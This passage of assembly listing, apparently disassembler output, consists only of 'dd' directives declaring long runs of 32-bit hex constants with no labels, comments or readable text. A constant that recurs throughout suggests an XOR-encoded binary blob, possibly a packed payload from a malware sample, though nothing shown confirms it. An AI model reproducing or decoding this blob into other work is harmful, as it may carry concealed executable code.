		dd 7180D9A0h, 0A128A563h, 0A4812041h, 0EC639355h, 1B43C2A7h
		dd 4297D9A0h, 0B3BA78E8h, 60A31204h, 2A8BF549h,	1B3ADF2Eh
		dd 0B29898A0h, 4FBC1AD8h, 1FE593C4h, 6B3B43F1h,	1B3ADD88h
		dd 0DE92F9A0h, 3F7F62F8h, 3F7F5AA4h, 1B3AEDA4h,	0DE8B19A0h
		dd 1B47C330h, 8351D9A0h, 0CF15F07Bh, 0B910BC12h, 0AA4A6E50h
		dd 1B3AD9A6h, 3D3C5F29h, 0B039E171h, 220C04B5h,	1B4FC299h
		dd 0CF96D9A0h, 931976Dh, 0FAC3B8EDh, 2DD16C34h,	5119F441h
		dd 0D8C4BC02h, 220BE1D5h, 75C062FBh, 8542AE8Ah,	1E232EA0h
		dd 3B3AD9A0h, 0A4989CFDh, 9C3EFE0Ch, 343EFDE4h,	603AD9A0h
		dd 3A759CF5h, 0AD542B80h, 0B0C439F7h, 220BEAE9h, 1B3AE589h
		dd 73C761A0h, 9A1E44F0h, 58CFB9DCh, 26243901h, 0AE3AD9A0h
		dd 0DD47D5B9h, 90CE6C4Bh, 0FA248940h, 9B3AD9A1h, 0A0C6CB83h
		dd 220FC3F2h, 0E2136506h, 1B3AF1A0h, 703B43A0h,	1B3ADD88h
		dd 0DE97F9A0h, 3FA762FDh, 3F7F5AA4h, 1B3AEEA4h,	0DE901EA0h
		dd 0D0C62907h, 220FC3F6h, 391DA0Ah, 1B3AD9A4h, 7AFE38C0h
		dd 1F5F5629h, 1F5F1E21h, 1B3AD9BCh, 79FE30E7h, 3CC585FEh
		dd 14D2F3F0h, 4898772Ch, 0D8C5E171h, 220BDB9Dh,	27D85F2Bh
		dd 0E2BBE171h, 6ECAC923h, 0D0C3E029h, 220BF1FDh, 43305F2Bh
		dd 0D8C5E171h, 220BE59Dh, 853F2029h, 1E2330A0h,	3B3AD9A0h
		dd 0A49A9CFFh, 9C3EFE1Ch, 303EFDE4h, 623AD9A0h,	41C49CF7h
		dd 81BEAD21h, 81D129F4h, 6BB6AF5Bh, 6E3B4436h, 1B3ADD88h
		dd 0DE95F9A0h, 3F9762FBh, 3F7F5AA4h, 1B3AF2A4h,	0DE8E1CA0h
		dd 73DF593Bh, 2B248D58h, 0AD3AD9A0h, 0CADB4F33h, 0A8F65B61h
		dd 0AAE5A871h, 1AC4BA87h, 0EF252C56h, 6D3B43A7h, 1B3ADD88h
		dd 0DE94F9A0h, 3F8F62FAh, 3F7F5AA4h, 1B3AF6A4h,	0DE8D1BA0h
		dd 6503DEAFh, 4A351125h, 0D8C3FC2Ah, 220BEE21h,	1B3ADE88h
		dd 3A3ED8A0h, 0F5C63FA0h, 48D29F0h, 1B3AD9ABh, 9C323690h
		dd 5AB880B1h, 4C4AB551h, 1B415DAFh, 0A849D9A0h,	1B3AD9A0h
		dd 5FC631FAh, 0A6A0DDC4h, 713B6599h, 0A49AB32Ah, 0DA3EFDE4h
		dd 3197CF67h, 703B43F8h, 1B3ADD88h, 0DE97F9A0h,	3FA762FDh
		dd 3F7F5AA4h, 1B3AF0A4h, 0DE901EA0h, 939DE5EBh,	0A81590AFh
		dd 0EF253425h, 703B43A7h, 1B3ADD88h, 0DE97F9A0h, 3FA762FDh
		dd 3F7F5AA4h, 1B3AF4A4h, 0DE901EA0h, 0BD852E30h, 0FEE5A476h
		dd 3F3F62F0h, 38BDA0Ah,	1B3AD9A4h, 74FE32C0h, 1F5F2629h
		dd 1F5F1E21h, 1B3AD9BBh, 3FFE2AE1h, 75474E55h, 0A422A093h
		dd 0EC5A7B5Dh, 30D0D8A7h, 8142AACBh, 859CD52Bh,	1E232CA0h
		dd 3B3AD9A0h, 0A4969CFBh, 9C3EFDFCh, 313EFDE4h,	5E3AD9A0h
		dd 0F4ED9CF3h, 0BCF804E0h, 2A42AAA1h, 0A002D257h, 220BF6D9h
		dd 1B3AD9A3h, 4C289729h, 0D8BDE171h, 220FC3FAh,	69BEE8A0h
		dd 0A63AD9A0h, 6C0E5A9Bh, 1B3B3989h, 703B43A0h,	1B3ADD88h
		dd 0DE97F9A0h, 3FA762FDh, 3F7F5AA4h, 1B3AF3A4h,	0DE901EA0h
		dd 0E81B24EBh, 7BCC61D1h, 1B525DAFh, 2D23D9A0h,	993AD9A0h
		dd 2659163Dh, 0E3E1180Ch, 0F4FADD87h, 0D4EFB46h, 0E6F1E8D2h
		dd 276B2A01h, 2C7ED9B1h, 2B239AA1h, 1D4C1DD0h, 1E4C25A0h
		dd 1F245CF8h, 5126C115h, 2C3F09F0h, 1C4C3DA0h, 4B4BC261h
		dd 1B3CEAE4h, 733DEB04h, 903FC323h, 6B56C587h, 434BC261h
		dd 4B3DEB04h, 733CEAE4h, 1C4C3DC8h, 9E4BDDD0h, 2AFDE89h
		dd 0DBC5DA8Ch, 38BDA0Ah, 1B3AD9A4h, 74FE32C0h, 1F5F2629h
		dd 1F5F1E21h, 1B3AD9BDh, 75FE2AE1h, 74B56074h, 0C46D7C6Eh
		dd 33F639D5h, 0A69D0342h, 0D8BE3B90h, 220BF6D9h, 0FDBFE8A3h
		dd 813AD9A3h, 0D8BED82Bh, 220FC3FAh, 0EDBEE8A0h, 853AD9A3h
		dd 1E232FA0h, 3B3AD9A0h, 0A4999CFEh, 9C3EFE14h,	353EFDE4h
		dd 613AD9A0h, 639A9CF6h, 3F7B5447h, 1B4BC328h, 0C721D9A0h
		dd 8A20395Dh, 0E78B3D84h, 8335BFCBh, 0D03A09C4h, 220FC3FAh
		dd 38DDA0Ah, 1B3AD9A4h,	76FE34C0h, 1F5F3629h, 1F5F1E21h
		dd 1B3AD9B4h, 9AFE2CE3h, 16C63FF3h, 0CCD0D8FCh,	8542AACEh
		dd 1E232AA0h, 3B3AD9A0h, 0A4949CF9h, 9C3EFDECh,	323EFDE4h
		dd 5C3AD9A0h, 0C6A29CF1h, 0A8C40CA1h, 220BFF45h, 28D802F6h
		dd 7A42AAB7h, 5898F2Bh,	1BA4E175h, 1B3EC1F2h, 755AD9A0h
		dd 6FC43463h, 5FBBDDC4h, 1B53DDC4h, 6D7CD9A0h, 0E3E4A963h
		dd 818B1D30h, 1C03F95Bh, 0EC6BBB3Dh, 1C41A0A7h,	43ADAA0h
		dd 1B3AD9B1h, 0CB4A278h, 787F3977h, 84ECB6A2h, 0C58EB9F1h
		dd 0E7419936h, 0DA8B592Ch, 86673715h, 6C3B4436h, 1B3ADD88h
		dd 0DE93F9A0h, 3F8762F9h, 3F7F5AA4h, 1B3AF6A4h,	0DE8C1AA0h
		dd 0CE93E2ACh, 89C64B36h, 0A6A16E79h, 75F0D998h, 8542AE8Ah
		dd 1E232FA0h, 3B3AD9A0h, 0A4999CFEh, 9C3EFE14h,	333EFDE4h
		dd 613AD9A0h, 742B9CF6h
		dd 1A302B64h, 0EC6C7F36h, 69F064A7h, 0D242AE8Ah, 4CC06589h
		dd 0A442AACBh, 0EC666B35h, 0DFC162A7h, 853AD9A0h, 1E232FA0h
		dd 3B3AD9A0h, 0A4999CFEh, 9C3EFE14h, 323EFDE4h,	613AD9A0h
		dd 0E20A9CF6h, 0EBC2BCCh, 90CC1FEAh, 368C6F2Bh,	0DDBDE171h
		dd 723B43A4h, 1B3ADD88h, 0DE99F9A0h, 3FB762FFh,	3F7F5AA4h
		dd 1B3AEFA4h, 0DE9220A0h, 2ADFED78h, 1B3AF024h,	1B4CC2A0h
		dd 98EED9A0h, 3E65CD9Eh, 1AFB9341h, 75BEDF61h, 0A66C865Bh
		dd 0EC60433Dh, 3B8B62A7h, 954ECF5Fh, 0C066BDh, 8542AE9Fh
		dd 1E232FA0h, 3B3AD9A0h, 0A4999CFEh, 9C3EFE14h,	383EFDE4h
		dd 613AD9A0h, 36FF9CF6h, 45D84E44h, 233F3ECDh, 1B3C63AFh
		dd 0A436D9A0h, 1B3B9226h, 1B47C2A0h, 0A34CD9A0h, 6A331D58h
		dd 0EFB6F3CCh, 49B70F0h, 1B3AD9B3h, 25F8799h, 0EE7BEA20h
		dd 7D80DF6Ah, 97A06EB2h, 9E4A5009h, 1B3AD9A0h, 103B4401h
		dd 5958FA0h, 0D043E175h, 220BF5B9h, 38246F9Fh, 0CCF9E171h
		dd 0B1B0389Bh, 16C63FF0h, 0F3F1E937h, 4F84972Bh, 0D039E171h
		dd 220FC3FAh, 391DA0Ah,	1B3AD9A4h, 7AFE38C0h, 1F5F5629h
		dd 1F5F1E21h, 1B3AD9BAh, 0A3FE30E7h, 32791924h,	0B03AD6D9h
		dd 220C073Dh, 38FDA0Ah,	1B3AD9A4h, 78FE36C0h, 1F5F4629h
		dd 1F5F1E21h, 1B3AD9B4h, 3FE2EE5h, 4E00972Ch, 2623E171h
		dd 0E03AD9A0h, 1B408E54h, 0EF99C31h, 0D8BE740Bh, 220C01A9h
		dd 63BEE8A0h, 43AD9A0h,	1B3AD9AFh, 650DB504h, 5A1FA590h
		dd 0B20EB7Eh, 0CE8BCCF8h, 3F6F6350h, 38DDA0Ah, 1B3AD9A4h
		dd 76FE34C0h, 1F5F3629h, 1F5F1E21h, 1B3AD9BBh, 57FE2CE3h
		dd 0EAABEC26h, 1E4C04FDh, 0EC5A675Dh, 0A8D062A7h, 1A42AAC8h
		dd 0EF253456h, 12BC3FA7h, 0B03A65A4h, 220C0C55h, 0A01A5B06h
		dd 75F0D955h, 8542AE8Ah, 1E232FA0h, 3B3AD9A0h, 0A4999CFEh
		dd 9C3EFE14h, 333EFDE4h, 613AD9A0h, 0EE599CF6h,	6D6095B9h
		dd 0F713C521h, 1A960D6Bh, 0EC61E336h, 30F862A7h, 9E42AACCh
		dd 0EC4A9B5Dh, 9F49DBA7h, 1B3AD9F1h, 391DA0Ah, 1B3AD9A4h
		dd 7AFE38C0h, 1F5F5629h, 1F5F1E21h, 1B3AD9B5h, 8BFE30E7h
		dd 40C0652Ch, 0E142AABEh, 1BA4D9A0h, 1B3EC1F2h,	755AD9A0h
		dd 6FC43463h, 5FBBDDC4h, 1B57DDC4h, 6D7CD9A0h, 0CABC4763h
		dd 0BAAC1BB8h, 3E7A358Eh, 0EC64475Dh, 0E8C0A0A7h, 1B42AAC2h
		dd 0A63AD9A0h, 0EC41835Dh, 0EE6C2A7h, 1BA5D9A0h, 1B3EC1F5h
		dd 785AD9A0h, 87C43763h, 5FBBDDC4h, 1B50DDC4h, 707FD9A0h
		dd 0F6026E63h, 0A6E6AD20h, 723B4461h, 1B3ADD88h, 0DE99F9A0h
		dd 3FB762FFh, 3F7F5AA4h, 1B3AF5A4h, 0DE9220A0h,	89AFF31Ah
		dd 8C695543h, 24F804D3h, 442AAA7h, 1B3AD9CBh, 9443EE8Ch
		dd 9 dup(1B3AD9A0h), 8623D9A0h,	873AD9A5h, 6F7CA7D2h, 5D6A95D0h
		dd 4C5984E5h, 35426DF2h, 532E5A18h, 0D06E2905h,	0BD9314C8h
		dd 0A8A601B5h, 92AFECA0h, 0BA97228Ah, 34390F6Eh, 3C6AE896h
		dd 0CEDB5F03h, 0BAC6F377h, 4C58DD81h, 0DFEB6EF3h, 0D08CF578h
		dd 0F6ACEBC8h, 0E26038ECh, 6DE9C87Bh, 0E2ADB863h, 60DEBAF8h
		dd 0F509A558h, 38E51B5Fh, 0CBD02CD0h, 60659A63h, 263DCB3Ch
		dd 121E4A2Eh, 9D387C34h, 7625B141h, 80D080Eh, 44DD13D1h
		dd 4C1B64B2h, 91C4E89Bh, 3E7A4A87h, 3CC0136Eh, 0AC0F1998h
		dd 0EA6841D0h, 0DD1182D8h, 53AD9A0h, 0EDF7CE27h, 0C2CE3488h
		dd 445F5D8Ah, 36E51AB2h, 9470FBDDh, 2D638E94h, 2529E728h
		dd 0C372A813h, 6A8DB75Bh, 0EC1B0103h, 0E96CF855h, 0E721B990h
		dd 3E437160h, 0DBEAACD7h, 0A5E69C1Fh, 9D53EBC9h, 0AACCADBEh
		dd 3631CA0h, 4F8EEBC9h,	0C021AD58h, 0CB3FEBh, 7EBCD8D7h
		dd 0C78BC11Eh, 0FDF0AD60h, 432321C5h, 692055B2h, 0BF1FEE5Fh
		dd 540842ABh, 1B3ADB72h, 825CCDA0h, 0F8F27E29h,	675CB86Ah
		dd 934D0255h, 0D083FE81h, 86F6EBC8h, 7F8E2505h,	984F84F0h
		dd 271B7E31h, 0B89613C7h, 0C1CD50A6h, 0AC5BB859h, 3D42BF44h
		dd 4156E556h, 802B56DAh, 580EEBC9h, 0EE029B4Eh,	32DF1551h
		dd 1CC943CAh, 0A29BFAC3h, 380E8F42h, 2D3C85D8h,	886658BBh
		dd 0D7DC38D9h, 0E56567C5h, 74889E1Eh, 5C6994F2h, 0EEFB7EE3h
		dd 0E0921652h, 30E5C4BAh, 374A74Bh, 1B3ADA53h, 0A29BFAAAh
		dd 390B8F42h, 0FFC41FD2h, 0FB4D0254h, 0DD7935E9h, 3B9C27D3h
		dd 0B02FBB66h, 0E4C14BF7h, 2D638E44h, 8D5862C0h, 0E6B1BC23h
		dd 10E0BEFCh, 51FE3435h, 0E5EA22E9h, 767B987Dh,	73B4B769h
		dd 2E204DA9h, 1C3A772Ah, 7293A112h, 54087708h, 1B3B5A35h
		dd 7C5C90A0h, 0CFD430D1h, 0C9D55FBDh, 8764A161h, 2D638EA1h
		dd 0D3D80663h, 3916A86Bh, 2D638EEFh, 7682B815h,	0AE578D97h
		dd 43217176h, 4DD106B2h, 0E391DE4Ch, 78CED083h,	0D436518h
		dd 65F43DAEh, 4F90F174h, 0F2A8EBC9h, 0F887D0E0h, 29C95507h
		dd 4F730F92h, 10C6EBC9h, 0FA545307h, 825C4DF2h,	0E6F37E29h
		dd 0D1880C68h, 0D03B43C7h, 35FFEBC8h, 5140848Bh, 2113136Dh
		dd 73AD9A0h, 0F4A360A0h, 4F9EFB9Bh, 36ED70F5h, 0CF364BCFh
		dd 4D03EBC8h, 0F1FE893Bh, 0DE951951h, 43EF40A6h, 520136B2h
		dd 0E4623EF2h, 78D6D184h, 0B496518h, 0AD3080ACh, 0D2AC647Dh
		dd 0B5CC59CBh, 0DEA6DD9Dh, 706DC2B8h, 661F62E6h, 641AEBC9h
		dd 0B9860085h, 9C538F0Bh, 9A6F4094h, 853CBFA4h,	2936C173h
		dd 421F4D2Dh, 34357F27h, 0F0FC7FDDh, 774F1A11h,	16224958h
		dd 157508DFh, 8A396EBAh, 0EFCBDC22h, 34351339h,	8B386DCBh
		dd 1D21DF23h, 1574FFE5h, 0BB8AD3BAh, 34B20509h,	2024DE25h
		dd 0CE7BB10Eh, 6065A066h, 0F2F711F8h, 0D5AC79EBh, 35CBF87Ah
		dd 5CD99535h, 1B3C24E8h, 2DBB43A0h, 7AD9DD8Fh, 59ED10BCh
		dd 4A27B207h, 3434F75Fh, 7350AC5Eh, 8754D3BEh, 25DC2075h
		dd 0B79311C5h, 6D70FCAFh, 7D5CE93Eh, 5E87426h, 24D308B5h
		dd 609410C4h, 4D5287E0h, 0E9089446h, 22317AD0h,	0A3AF49B0h
		dd 1448F2C4h, 8231A02Eh, 6F873D7Ah, 60CC1B3Eh, 0CE3AD9A0h
		dd 1D28EF20h, 43EFE1E5h, 54609632h, 0CF1869EDh,	6B226BC8h
		dd 1E2BB661h, 2F93F021h, 0CBCD0255h, 512E5BB9h,	0AD638ED7h
		dd 22BE49FCh, 0F9A7DE89h, 14E79DD3h, 0F7AC07BBh, 34D0254h
		dd 0C8879DF2h, 893AD9A0h, 0B4920EC2h, 394955AAh, 208E9503h
		dd 57EBAE1Dh, 0AD6499F7h, 0E5089446h, 0AD237ED4h, 4D54D41Eh
		dd 0E604903Bh, 0F0EE79CDh, 0EB00BB7h, 4854D420h, 0B6E2DE1h
		dd 0CDA02DEEh, 0D483B908h, 8362F8AEh, 4DB6ACD7h, 144B1DFBh
		dd 15D70ADDh, 80376CBAh, 0D4932478h, 5330BB6Dh,	343575D5h
		dd 0A446D22Fh, 0E362BE13h, 175CA9BDh, 0F8AF4BB0h, 8AC7E598h
		dd 0AE157123h, 4C5CA9BDh, 8A19416Dh, 9A518A11h,	0A2D2B033h
		dd 0B167FB70h, 0E9B3FBA7h, 0D19620FFh, 675CB86Ah, 4C5CAA28h
		dd 0EBC2D314h, 0AA6FA4C1h, 0DBB84398h, 44E0E2CFh, 0AEACD835h
		dd 1E29EC20h, 197182E6h, 0BABEF4BAh, 0A451AC52h, 2F3BD63Ch
		dd 523D44C8h, 0F0FCF39Eh, 32E11753h, 0E5A04ED2h, 9852727Ah
		dd 6E8741Fh, 0F7C209B6h, 501B25CDh, 0CE6C2966h,	0B89612C6h
		dd 4907A558h, 213079E9h, 1AE4AAFh, 9398759Ah, 1B3ADCA0h
		dd 0FFFCFBA0h, 0B9BE56C1h, 4B50AD51h, 0DEE31FE3h, 73788D76h
		dd 70C090Bh, 9BA05DA0h,	2C31CE33h, 0C3C83CC4h, 595EB35Bh
		dd 1F275B0Fh, 0A43AD9A0h, 0A48DFDACh, 1FFE5B83h, 9E3AD9A0h
		dd 37C1DE8Bh, 47C435C4h
		dd 0FCC42AC4h, 1B3F9B21h, 4BDD9A0h, 3F4760A5h, 3F6F62FCh
		dd 193E445Dh, 64005ACCh, 0EC99ADFEh, 4FFA3185h,	9CB687ABh
		dd 9887BF8Fh, 7A37DB29h, 3F6F64F4h, 1B3F9E21h, 0A491D9A0h
		dd 23F32A8Fh, 1C3AD9A0h, 73736390h, 3F6FD8FFh, 1FFF5CFEh
		dd 785F0E9Fh, 1B3F9E21h, 8C23D9A0h, 793AD597h, 4911489Eh
		dd 467C9246h, 0B042E825h, 0B2F360E3h, 1E42AF26h, 0AD1BD965h
		dd 9994FDFh, 8B86DEE2h,	0D8A70CD3h, 9664F2D4h, 0CB77D8CBh
		dd 266CE91Ah, 896257E2h, 74584EB4h, 75866E3Ah, 19B62E9Eh
		dd 4D65D39Ah, 485C24E1h, 58A77D42h, 5F75593Dh, 0D6564A34h
		dd 19527DEh, 657DDB0Dh,	0A7B37901h, 7D795CFBh, 0AB47D2DFh
		dd 9898592Fh, 3D5A4C34h, 4B631552h, 2162820Fh, 0B391FD6Fh
		dd 307B6AB3h, 1DA67CB4h, 806846FAh, 43D1C3Ah, 1B3AD9C8h
		dd 597A00D9h, 8	dup(1B3AD9A0h),	43AD9A0h, 1B3ADE84h, 43F004F3h
		dd 31DE32DBh, 20CD45C9h, 9B652B8h, 0F5A25AA2h, 6F7157BFh
		dd 825CE93Ch, 8D4AD629h, 0B535C114h, 5E6AAAFEh,	1976C126h
		dd 3230B6BAh, 0B4C03CC1h, 612E47D5h, 27D6CB28h,	0EE9313C7h
		dd 0A23FF74Dh, 0E0E2E64Eh, 4119A6F5h, 6F7B0663h, 2A070407h
		dd 2D63DCFEh, 0FB595306h, 59083E9Bh, 43FF9E51h,	49A530E3h
		dd 0E291C772h, 7479947Ah, 0A0F020Ch, 0D64B224h,	0F7043033h
		dd 0E2EF1B5Fh, 6E55B16Ah, 8C4D02A4h, 8C991D7Ah,	652EB1B6h
		dd 0E8F54A3Fh, 0D1DE0C6Ch, 3F012875h, 62E779B0h, 81094883h
		dd 38EF188Fh, 22207D30h, 0EDC090BBh, 9BDC6E4Dh,	91157755h
		dd 0E59441CAh, 757D0285h, 0F3BDEBC9h, 0F68241C9h, 6ED1136Dh
		dd 0D33AD9A0h, 0BBC03CC1h, 0F609A154h, 43F028BEh, 62194EB2h
		dd 9A77A502h, 2D638E8Ch, 0D93A0879h, 54080F91h,	1B3ADB8Ch
		dd 825BE7A0h, 1DD430D3h, 5D8F09BDh, 3D497EE3h, 0CFD430D5h
		dd 0D7E467BDh, 0F3672C7Dh, 0E682AA2Ah, 531E28D4h, 0D5712C69h
		dd 0BF7B19CDh, 7C5C12B7h, 0F4727527h, 52A9CB47h, 0CDDA5DB3h
		dd 5C68F476h, 4D527FE0h, 0DFE420E5h, 6B789577h,	0FE0B8ED3h
		dd 10DB2347h, 8143EA7h,	0EF9E5AA1h, 627ED3C9h, 6C69F649h
		dd 0F8F58133h, 0DDEA6DC3h, 0CF810565h, 41D3F3A9h, 0F274A731h
		dd 1B3AD9FBh, 0D59BFB99h, 0E5A4C3EDh, 2E33694Dh, 0C5CA3AC6h
		dd 0C89F6CDEh, 0B4C0ED8Dh, 4855D999h, 34E66A0Eh, 0DC39990Eh
		dd 5774A796h, 1B3ADA0Eh, 0D59BFAFEh, 68060583h,	0EAF62BC7h
		dd 8D820083h, 1B7EBC9h,	1FC04BF8h, 2CF6DF8Ah, 9E7B0682h
		dd 2D644B8Ah, 0E2EF1D7Ah, 58F6B16Bh, 3C75F346h,	2DF6307h
		dd 2D638E24h, 6B487699h, 2D638EBDh, 0AFB3EA47h,	0CFBDC548h
		dd 0C67CEBC8h, 585DB85Eh, 0C6499D79h, 0D682CE3Ah, 0F7BBBAB0h
		dd 7A879BD1h, 0D86F9CC1h, 54081A92h, 1B3ADB8Bh,	7F5BE6A0h
		dd 1FD62AD4h, 0B18D0BBFh, 43FF9E51h, 0D6702FE3h, 8BDA2476h
		dd 444006E2h, 2EE5AF91h, 0F48B990Ah, 42F01C5Ch,	8E5701Bh
		dd 34359E62h, 0B5C245A3h, 404DD89Ah, 29E06404h,	0A240CC1Fh
		dd 0C7D35E09h, 15FF588Fh, 3BEA1FBAh, 15FFE203h,	0D9A7F1BAh
		dd 1A25E327h, 7E5B4CB3h, 34359EAAh, 0C2C6FD5Ah,	222F5AB0h
		dd 0B4C14529h, 0A753D79Bh, 2B370C81h, 15FFF3F3h, 9F4E83BAh
		dd 8936D337h, 0BA809297h, 1C78FEE1h, 9B81D9A0h,	313EC8B2h
		dd 1E2A5812h, 140381E6h, 0C623AEBAh, 9D5497EDh,	0DA0B8A3Dh
		dd 140344A2h, 46FD32BAh, 300E8B3Eh, 0C2801CD0h,	0B7C61062h
		dd 9744C145h, 0B98483A5h, 1BA10CE1h, 9B8FD9A0h,	603DC7B5h
		dd 0AD638EA8h, 52F0A95Ch, 0C09294F2h, 9C83E6D7h, 3C199CFAh
		dd 0AD63BDECh, 0CFD430D0h, 6469A667h, 8AE12EA0h, 7229ACB1h
		dd 0EB7AC460h, 5561A758h, 431EAA1Dh, 0A442CDB2h, 0A62A600Bh
		dd 0DA785235h, 0FC083DEBh, 0AA0E961Dh, 934ACE92h, 1C9882B4h
		dd 44A402E4h, 883F74B2h, 0B8142B7Eh, 163AD9A0h,	1E29EC21h
		dd 65F753Fh, 432B18CFh,	0A5295EB2h, 8767B8B9h, 984F8530h
		dd 507FDC8Eh, 0AA54D3BCh, 7E5AE698h, 3434F5AAh,	0CACEFD5Ah
		dd 0B4619C62h, 464BC64Ch, 1557D40Eh, 0A7B5FFBAh, 0DED135h
		dd 37B3CF53h, 0D086F39Ah, 52D660BEh, 47201BFh, 8D3A67A5h
		dd 0BA389084h, 0ECA5601h, 0FDB3EA96h, 84DD38EBh, 765CA96Ch
		dd 212EB964h, 0C194723h, 7EBCD934h, 5936C11Eh, 3C0AA6CFh
		dd 9DA2D835h, 0C23A0879h, 5964F09Bh, 41F00CF1h,	0C08F7C09h
		dd 0BAC5FBC9h, 4F54B152h, 0BEBBE83Dh, 1E29EC20h, 19779EE6h
		dd 9EA3D8BAh, 8835D036h, 1A1EDA20h, 1EA500B4h, 0DC54D7DDh
		dd 891974CAh, 0AA8EC288h, 0B9390F84h, 0C323AF02h, 94996C96h
		dd 94A12582h, 1E2BB5BAh, 98ADEE20h, 0F6A4DB38h,	909C2796h
		dd 3238F58h, 4B2E8F4h, 8794A8DFh, 6F7CA9CCh, 596691D4h
		dd 60F87BFEh, 1B3AD9ACh, 31F8FC07h, 0BAF819F2h,	0C4C2AD02h
		dd 0B9BE56C1h, 4B50AD51h, 0DEE31FE3h, 73788D76h, 70C090Bh
		dd 9BA05DA0h, 2C31CE33h, 0C3C83CC4h, 595EB35Bh,	768F2D0Fh
		dd 1B3F9D21h, 6BDD9A0h,	3F5760A5h, 469D41FCh, 1FC3D9A0h
		dd 375641C4h, 4FC3D9A0h, 0D4F62CC4h, 9C7C5DDFh,	0F6A8BC83h
		dd 23269B12h, 22DC9D21h, 738DE135h, 4FC62DFBh, 1FFF5AC4h
		dd 833AD9A0h, 1B3B090Ch, 0D65EF629h, 1B3AD9A8h,	1EC4CCA1h
		dd 3F6F64FBh, 9C1C62F1h, 1B3ADE61h, 1FFC5CA0h, 775EE627h
		dd 735F0E9Fh, 43F9E23h,	1A36CB81h, 147C5015h, 5D8F825Ah
		dd 654386F5h, 0D3B0793Eh, 221065CFh, 0FB3A9EA3h, 4C95F268h
		dd 65B28EC4h, 1E8F0EB0h, 27566F9Ch, 2E80D1F5h, 87B1F8A7h
		dd 1E2A2B5Fh, 4469D989h, 2E9C5F2Dh, 9CA0E171h, 6B7AFD7Fh
		dd 1B3AE688h, 0A28F64A0h, 45A9A452h, 92A8C6F0h,	1FC4355Bh
		dd 723B43C4h, 1B3ADD88h, 0DE99F9A0h, 3FB762FFh,	3F7F5AA4h
		dd 1B3AF4A4h, 0DE9220A0h, 0EA3BBCFEh, 34270492h, 1B4161AFh
		dd 0B845D9A0h, 220BEEE9h, 1BA4DA0Ah, 1B3EC1F1h,	745AD9A0h
		dd 67C43363h, 5FBBDDC4h, 1B53DDC4h, 6C7BD9A0h, 0F0F04163h
		dd 4CE8137h, 1B3AD9AEh,	0CCE0134Fh, 7E7DBBE1h, 4DF46CB6h
		dd 1BA5D2CEh, 38CDA0Ah,	1B3AD9A4h, 75FE33C0h, 1F5F2E29h
		dd 1F5F1E21h, 1B3AD9B8h, 0FAFE2BE2h, 0D3B957ECh, 0A9145F2Dh
		dd 0CCF9E175h, 9E4899B5h, 1BA4DF60h, 1B3EC1F2h,	755AD9A0h
		dd 6FC43463h, 5FBBDDC4h, 1B54DDC4h, 6D7CD9A0h, 0A0B6FB63h
		dd 7FACD2E9h, 1B4DC2F0h, 198FD9A0h, 0CF554E3Ch,	87973133h
		dd 523A2719h, 19556014h, 2A5EDE2Ah, 1BA5B557h, 38DDA0Ah
		dd 1B3AD9A4h, 76FE34C0h, 1F5F3629h, 1F5F1E21h, 1B3AD9B4h
		dd 0C0FE2CE3h, 2A5896D1h, 1BA4E171h, 2A34972Bh,	0B039E171h
		dd 220BF781h, 38BDA0Ah,	1B3AD9A4h, 74FE32C0h, 1F5F2629h
		dd 1F5F1E21h, 1B3AD9BBh, 24FE2AE1h, 45602C1Ah, 0A85E0A65h
		dd 0EF10402Dh, 0EABC3FA7h, 0EC39F418h, 38DDA0Ah, 1B3AD9A4h
		dd 76FE34C0h, 1F5F3629h, 1F5F1E21h, 1B3AD9B7h, 9AFE2CE3h
		dd 0A44277E2h, 0EC66C755h, 30F85CA7h, 1C42AAB7h, 1BB05EAFh
		dd 0A349D9A0h, 1B3AD9A4h, 0BF1F9906h, 1BA4DC0Ah, 1B3EC1F0h
		dd 735AD9A0h, 5FC43263h, 5FBBDDC4h, 1B4FDDC4h, 6B7AD9A0h
		dd 0A4149F63h, 0EC644725h, 0D19B29A7h, 7C136552h, 0A45EDE29h
		dd 0EC47572Dh, 4D0D8A7h, 8542AABEh, 1E232BA0h, 3B3AD9A0h
		dd 0A4959CFAh, 9C3EFDF4h, 373EFDE4h, 5D3AD9A0h,	2FCC9CF2h
		dd 0A9838A42h, 2A9255ABh
		dd 1B3AE02Fh, 0D0C062A0h, 442AAA5h, 1B3AE6FCh, 1B3ADA88h
		dd 8BC36A0h, 22106884h,	38DDA0Ah, 1B3AD9A4h, 76FE34C0h
		dd 1F5F3629h, 1F5F1E21h, 1B3AD9BBh, 60FE2CE3h, 4B76BF13h
		dd 9CB87739h, 64124097h, 28D80CD6h, 0A842AAA9h,	0EFF75125h
		dd 0D0C862A7h, 0AB42AACAh, 6997F75Fh, 6D8B2A0Bh, 2A356506h
		dd 1DC7E8D1h, 7B3AD9A0h, 0AB933401h, 38FDA0Ah, 1B3AD9A4h
		dd 78FE36C0h, 1F5F4629h, 1F5F1E21h, 1B3AD9BCh, 0A4FE2EE5h
		dd 4789A1E7h, 73C1E3ABh, 447876D1h, 1A9EE171h, 1B3AD9D6h
		dd 1B45C1A0h, 0BED0D9A0h, 0F79A3843h, 0E6E8C26h, 7A1398B0h
		dd 1B606304h, 33AD9A0h,	1B3AD9A8h, 0C962ACECh, 7B1BED34h
		dd 1B3AE889h, 4254F2A0h, 0CF7DC6AFh, 9D7276FBh,	477DAADh
		dd 1B3AD9ADh, 874FA4E0h, 0B3BF031h, 0A184DA19h,	0A03A3501h
		dd 220C02C1h, 1B3AEB89h, 0CEB6E0A0h, 1E80DE0Bh,	8FCB9D31h
		dd 0E76DDF19h, 9CA1C85Ch, 853CD68Fh, 6D3B449Fh,	1B3ADD88h
		dd 0DE94F9A0h, 3F8F62FAh, 3F7F5AA4h, 1B3AF5A4h,	0DE8D1BA0h
		dd 414043C4h, 58064177h, 1A049162h, 0EC53CF56h,	6C3B43A7h
		dd 1B3ADD88h, 0DE93F9A0h, 3F8762F9h, 3F7F5AA4h,	1B3AF5A4h
		dd 0DE8C1AA0h, 0AECC0D78h, 42B37702h, 0E6BC405Dh, 0B03A1014h
		dd 220BEDBDh, 1B3BF389h, 0F02298A0h, 1BEAF882h,	3AF096A3h
		dd 8B20E171h, 0DAACBE95h, 340B9D7Fh, 9E4A3ADCh,	1B3ADA9Ah
		dd 0D14AB42Bh, 29243A68h, 0A13AD9A0h, 0F2ABE3A5h, 0F37C2128h
		dd 0DD85F73Eh, 0C0D064E0h, 7C42AAB6h, 1B3AE05Ah, 2FC6E8A0h
		dd 43AD9A0h, 1B3AD9B0h,	69791DCAh, 0CB80A5AAh, 0EA0AECF5h
		dd 0A66127E2h, 3F025A61h, 0A63FC261h, 0EC5BBB3Dh, 0F3C63FA7h
